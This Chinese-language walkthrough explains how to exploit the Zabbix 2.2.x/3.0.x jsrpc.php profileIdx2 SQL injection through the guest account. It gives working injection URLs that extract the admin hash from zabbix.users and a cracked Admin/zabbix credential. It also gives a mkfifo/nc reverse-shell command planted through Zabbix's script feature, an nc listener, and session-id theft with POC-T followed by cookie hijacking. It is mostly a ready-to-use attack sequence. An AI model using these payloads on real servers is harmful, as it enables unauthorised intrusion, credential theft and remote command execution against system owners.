Zabbix 是一個開源的企業級性能監控解決方案。
官方網站:http://www.zabbix.com
Zabbix 的jsrpc的profileIdx2參數存在insert方式的SQL注入漏洞,攻擊者無需授權登陸即可登陸Zabbix管理系統,也可通過script等功能易直接獲取Zabbix服務器的操作系統權限。
1.1. 漏洞利用條件
Zabbix 開啟了guest權限。而在Zabbix中,guest的默認密碼為空。需要有這個條件的支持才可以進行無權限注入。
1.2. 影響版本
Zabbix 2.2.x, 3.0.0-3.0.3
通過瀏覽器直接訪問Zabbix
0x01 注入
測試注入,可以發現頁面將會報錯,並出現如下信息
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
通過這個現象,即可得知漏洞存在。
利用這個漏洞,我們可以進行錯誤型sql注射,即可獲取管理員的信息。
通過構造payload,獲取用戶名和密碼信息
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%20and%20(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
這個漏洞的問題參數在於profileIdx2,因此payload寫在此處。
利用這個payload,可以成功獲取到管理員的用戶名和密碼信息
Admin~5fce1b3e34b520afeffb37ce08c7cd66~~1
通過md5解密,即可成功獲得密碼
到此為止,已經成功獲取到了用戶名和密碼:Admin/zabbix
登錄后台
0x02 后台getshell
進入web頁面后,前往腳本頁面利用zabbix自帶的命令行實現反彈shell
創建如下的一個腳本
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻擊機ip地址 1234 >/tmp/f
點擊存檔以后,在攻擊機中開啟一個接收shell端
nc -lvp 1234
在zabbix頁面中,重新返回到首頁。在下述位置點擊執行腳本
執行成功以后,前往攻擊機查看是否接收到shell
方法2
第一種方法屬於直接獲取管理員的密碼信息進行登陸,但是有時候密碼設置的很復雜,沒辦法破解的時候,可以采用方法2。
這個方法是通過sql注入漏洞獲取Zabbix登陸用的sessionid,通過修改sessionid從而無需用戶名密碼即可直接登陸。
這里需要用到一個腳本
腳本地址:
https://github.com/Xyntax/POC-T
將這款工具在攻擊機中安裝成功,然后執行下面的命令
python POC-T.py -s zabbix-jsrpc-mysql-exp -iS http://zabbix服務器的ip地址/zabbix/php
可以看到,直接即可獲取到密碼信息和sessionid
password_md5:Zabbix:5fce1b3e34b520afeffb37ce08c7cd66', 'Session_id:45e0bac4f0b73bb41706a70adec8a097')
接下來,我們使用burp進行抓包,修改sessionid直接登陸。
將cookie中的zbx_sessionid修改為我們找到的sessionid。
點擊forward
接下來,我們可以看到,成功的進入后台中